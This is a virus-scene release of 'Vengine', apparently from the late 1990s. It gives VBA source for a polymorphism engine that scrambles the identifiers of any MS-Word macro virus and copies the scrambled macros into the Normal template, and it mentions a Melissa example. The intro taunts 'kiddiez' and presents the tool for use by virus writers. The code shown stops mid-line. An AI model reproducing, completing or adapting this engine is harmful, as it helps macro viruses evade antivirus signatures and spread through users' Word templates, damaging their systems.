VENGINE: Polymorphizer for MS-Word macro viruses

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The VENGINE, combined with your favorite Microsoft Word script, produces a
polymorphic version of that script.  Sorry kiddiez, but you will need
rudementary VBA skillz to use this.  Instructions are included in the
vengine.txt file, and an example is given with the ever-so-popular Melissa.


' Vengine - polymorphizer for MS-Word macro viruses
' Coded by VeggieTailz
'
' This engine can be used to polymorphize any MS-Word macro virus.
'
' The Vengine concept was inspired by Nick FitzGerald's asinine posting
' on BugTraq, dated 3/29/99 and archived at geek-girl.com.
'
Private Zy7td() As String
Private QC2cz() As String
Private K1j() As String
Private Nv4cl As String
Private Sub Example()
  ' As a demo, we'll copy the current macros to the template.  After running
  ' this example (make sure this is the ActiveDocument!), examine the MS-Word
  ' template.  It will contain a scrambled (but still functional) version of
  ' this program.
  Set Source = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
  Set Dest = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule

  ' The "Infect" sub copies the macros from "Source" to "Dest", scrambling
  ' them in the process.  The contents of Dest are overwritten.
  Infect Source, Dest
End Sub
Private Sub InfectTable()
  ' This table stores the identifiers which will be scrambled.  They can
  ' be any ordinary variable name (even names ending with a suffix like
  ' % or $).  Make your choices carefully tho, as the substitutions
  ' will also be applied to string constants (otherwise the code below
  ' would not get updated).
  ReDim QC2cz(29)  ' don't forget to set the array size!
  QC2cz(1) = "Infect"
  QC2cz(2) = "InfectTable"
  QC2cz(3) = "Zy7td"
  QC2cz(4) = "QC2cz"
  QC2cz(5) = "K1j"
  QC2cz(6) = "Nv4cl"
  QC2cz(7) = "Co6q"
  QC2cz(8) = "X3X"
  QC2cz(9) = "R0e"
  QC2cz(10) = "Tq4tl"
  QC2cz(11) = "G4u"
  QC2cz(12) = "To6dm"
  QC2cz(13) = "Rg4mp"
  QC2cz(14) = "I4h"
  QC2cz(15) = "I6w"
  QC2cz(16) = "Gy0u"
  QC2cz(17) = "S5l"
  QC2cz(18) = "T1g"
  QC2cz(19) = "T1b"
  QC2cz(20) = "Ba6Dk%"
  QC2cz(21) = "X1U%"
  QC2cz(22) = "C6E%"
  QC2cz(23) = "C6z%"
  QC2cz(24) = "X6q"
  QC2cz(25) = "XM2wj"
  QC2cz(26) = "Yx1h"
  QC2cz(27) = "Sh6k"
  QC2cz(28) = "T2w"
  QC2cz(29) = "Ky8c"
  ' [add your entries here!]
End Sub
Private Sub Infect(Co6q, X3X)
ReDim Zy7td(0)
ReDim QC2cz(0)
ReDim K1j(0)
Dim R0e As String
For I = 1 To Co6q.CountOfLines
R0e = Co6q.Lines(I, 1)
If Trim(R0e) <> "" Then T2w R0e, 1
Next I
Tq4tl
X3X.DeleteLines 1, X3X.CountOfLines
X3X.AddFromString ""
For I = 1 To Co6q.CountOfLines
R0e = Co6q.Lines(I, 1)
If Trim(R0e) <> "" Then
Nv4cl = ""
T2w R0e, 2
If Rnd < 0.1 Then Nv4cl = Nv4cl + " ' " + "T1b"
X3X.InsertLines X3X.CountOfLines + 1, Nv4cl
End If
Next I
End Sub
Private Sub Sh6k(To6dm As String, Rg4mp As Integer)
G4u = Left$(To6dm, 1) = Chr$(34) And Right$(To6dm, 1) = Chr$(34) And Len(To6dm) > 2
If G4u Then To6dm = Mid$(To6dm, 2, Len(To6dm) - 2)
I4h = UCase$(Left$(To6dm, 1)) >= "A" And UCase$(Left$(To6dm, 1)) <= "Z"
Ky8c = UCase$(Right$(To6dm, 1))
If Rg4mp = 1 Then
If I4h Then
For Ba6Dk% = 1 To UBound(Zy7td)
If To6dm = Zy7td(Ba6Dk%) Then Exit Sub
Next Ba6Dk%
ReDim Preserve Zy7td(UBound(Zy7td) + 1)
Zy7td(UBound(Zy7td)) = To6dm
End If
Exit Sub
End If
If I4h Then
For Ba6Dk% = 1 To UBound(QC2cz)
If To6dm = QC2cz(Ba6Dk%) Then
To6dm = K1j(Ba6Dk%)
If Ky8c < "A" Or Ky8c > "Z" Then To6dm = To6dm + Ky8c
Exit For
End If
Next Ba6Dk%
End If
If G4u Then To6dm = Chr$(34) + To6dm + Chr$(34)
If Nv4cl <> "" Then
If Right$(Nv4cl, 1) <> "." And Left$(To6dm, 1) <> "." Then To6dm = " " + To6dm
End If
Nv4cl = Nv4cl + To6dm
End Sub
Private Sub Tq4tl()
InfectTable
ReDim Preserve K1j(UBound(QC2cz))
For Ba6Dk% = 1 To UBound(K1j)
I6w:
Gy0u = Int(Rnd * 3) + 3
S5l = ""
For X1U% = 1 To Gy0u
T1g = Chr$(97 + Int(Rnd * 26))
If X1U% = 1 Or Rnd > 0.8 Then T1g = UCase$(T1g)
If X1U% = 1 + Int(Gy0u / 2) Then T1g = Chr$(48 + Rnd * 9)
S5l = S5l + T1g
Next X1U%
For X1U% = 1 To UBound(Zy7td)
If S5l = Zy7td(X1U%) Then GoTo I6w
Next X1U%
For X1U% = 1 To Ba6Dk% - 1
If S5l = K1j(X1U%) Then GoTo I6w
Next X1U%
K1j(Ba6Dk%) = S5l
Next Ba6Dk%
End Sub
Private Sub T2w(R0e As String, Rg4mp As Integer)
Dim To6dm As String
Dim T1g As String
Do
R0e = LTrim(R0e)
XM2wj = False
If Len(R0e) = 0 Then Exit Do
C6E% = 1
T1g = UCase$(Left$(R0e, 1))
X6q = (T1g >= "A" And T1g <= "Z") Or (T1g >= "0" And T1g <= "9")
Do
If C6E%

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